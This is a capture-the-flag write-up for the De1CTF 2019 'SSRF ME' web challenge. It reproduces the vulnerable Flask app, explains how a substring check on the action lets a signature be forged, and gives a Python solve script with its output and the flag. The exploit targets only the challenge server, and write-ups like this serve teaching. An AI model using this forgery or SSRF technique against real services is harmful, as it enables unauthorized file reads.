SSRF ME - De1CTF 2019
SSRF ME TO GET FLAG.
http://139.180.128.86
For this challenge we are provided with a url that returns the following python code:
#!/usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
It's the code from the Flask app that is running on the website.
Basically it's a simple web app that allows us to do two things by using the
action parameter:
-
scan: writes the content of a file located on the server in a file called
result.txt -
read: returns the content of the
result.txtfile
The scan and read actions are invoked by making a request to the /De1ta
endpoint.
The problem is that we need to provide a cookie called sign that is
remotely checked and must be in this format:
md5(secret_key + param + action)
param is used in conjuction with the scan action to indicate which file to
read.
We can see at the beginning of the python script that the secret_key is
generated using os.urandom(16), so there's no way to bruteforce it.
Let's analyze the /geneSign endpoint.
It allows us to generate a signature using 'scan' as action:
md5(secret_key + param + 'scan')
The vulnerability in this application is located in the Exec function.
Instead of checking if the passed action is equal to scan or read, it
checks if the action string contains the scan and read strings.
We can exploit this by making a request to geneSign with flag.txtread as
param, so that the following signature is generated:
secret_key + 'flag.txtread' + 'scan'
and then use the signature with scan and read actions to read the flag.
Here's the python code to do that:
#!/usr/bin/env python3
import requests
import urllib
def getSign(param, action):
params = {'param': param}
cookies = {'action': action}
r = requests.get("http://192.168.43.204:8080/geneSign", params=params, cookies=cookies)
return r.text.strip().replace('\n', '')
action = 'readscan'
sign = getSign('flag.txtread', '')
params = {'param': 'flag.txt'}
cookies = {'sign': sign, 'action': action}
r = requests.get("http://192.168.43.204:8080/De1ta", params=params, cookies=cookies)
print(r.text)
Let's run it:
$ ./solve.py
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}\n"}
Flag
de1ctf{27782fcffbb7d00309a93bc49b74ca26}